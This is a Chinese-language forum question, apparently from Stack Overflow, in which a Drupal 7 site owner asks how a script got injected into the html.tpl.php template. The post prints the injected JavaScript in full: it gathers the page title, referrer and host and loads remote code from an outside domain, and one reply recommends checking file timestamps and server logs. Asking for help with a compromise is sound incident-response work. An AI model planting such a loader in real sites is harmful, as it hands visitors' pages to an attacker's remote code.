【发布时间】:2016-01-19 14:51:37
【问题描述】:
最近我的 Drupal 站点在 7.23 上被卡住了。我必须回到过去,恢复旧数据库,然后复制/粘贴 HTML 以获得当前站点的干净版本。不幸的是,即使在经历了所有这些之后,今天我仍在检查我的网站,当我加载管理仪表板时,我在浏览器的左下方看到了一个尴尬的 URL。 URL 是“nla98.it”。所以我使用 Sublime 文本在文件中查找并找到以下代码,我肯定没有将其插入到我的 modules/system/html.tpl.php 中:
<script>
var a=''; setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://nla98.it/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){
document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
}
</script>
显然这是执行代码的某种脚本。但我的问题是,这是如何注入我的网站的?我正在运行 Drupal 7,升级到 7.41,并且我已经多次运行更新脚本和 cron。我正在运行的脚本是:
jquery.js?v=1.12.0
jquery.once.js?v=1.2
drupal.js
jquery.cookie.js?v=1.0
textarea.js?v=7.41
jquery-ui-1.8.23.custom.min.js
gumby.js
modernizr-2.0.6.min.js
mobile-menu.js
jquery.ui.totop.js
easing.js
plugins.js
jquery.tweet.js
main.js
montreal.js
supersized.js
gen_validatorv31.js
http://html5shiv.googlecode.com/svn/trunk/html5.js
http://platform.linkedin.com/in.js
这可能是我正在使用的一个过时的 JS 中的一个漏洞吗?我使用的模板是蒙特利尔(有点旧)。
感谢您的想法。
【问题讨论】:
-
获取该文件上次修改时间的时间戳,然后您需要访问您的服务器日志以查看大约在同一时间命中了哪些其他文件。这看起来像是一种自动攻击,所以我猜它在某个地方发现了一个漏洞,你需要找到那个弱点,插入它然后修复所有受影响的文件。
标签: php jquery drupal drupal-7 drupal-modules